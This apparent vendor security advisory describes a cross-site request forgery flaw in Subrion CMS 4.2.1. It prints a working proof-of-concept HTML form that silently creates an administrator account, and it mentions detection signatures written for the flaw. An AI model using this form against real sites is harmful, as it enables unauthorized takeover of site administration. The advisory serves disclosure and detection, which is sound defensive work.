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Subrion CMS 4.2.1 'Add Admin' Cross-Site Request Forgery

Application Details

Subrion is an open source PHP/My SQL content management system, and framework, that allows websites to be built for any purpose. From blogs to corporate portal.


Subrion CMS is vulnerable to cross-site request forgery, caused by improper validation of user-supplied input.


By persuading an authenticated user to visit a malicious Web site, a remote attacker could send a malformed HTTP request to add more users to the system. An attacker could exploit this vulnerability to perform cross-site scripting attacks, Web cache poisoning, and other malicious activities.

<form action="http://localhost/subrion/panel/members/add/" method="post" enctype="multipart/form-data">
<input type="hidden" name="__st" value="YNXrr7MjSY0Qi0JYISJ7DRuC9Gd1zxPYwjHcFKVh" />
<input type="hidden" name="username" value="Aryan" />
<input type="hidden" name="fullname" value="AryanChehreghani" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="_password" value="Test1234!" />
<input type="hidden" name="_password2" value="Test1234!" />
<input type="hidden" name="usergroup_id" value="1" />
<input type="hidden" name="website" value="" />
<input type="hidden" name="phone" value="" />
<input type="hidden" name="biography" value="" />
<input type="hidden" name="facebook" value="" />
<input type="hidden" name="twitter" value="" />
<input type="hidden" name="gplus" value="" />
<input type="hidden" name="linkedin" value="" />
<input type="hidden" name="email_language" value="en" />
<input type="hidden" name="sponsored" value="0" />
<input type="hidden" name="featured" value="0" />
<input type="hidden" name="featured_end" value="2022-03-09 12:03" />
<input type="hidden" name="status" value="active" />
<input type="hidden" name="save" value="1" />
<input type="hidden" name="goto" value="list" />
<input type="submit" value="Submit request" />


By turning this vulnerability into traffic files and matching rules, we are able to detect attempts to create an admin user via CSRF.


Idappcom has created signatures 8022476 and 8022477 along with traffic files.


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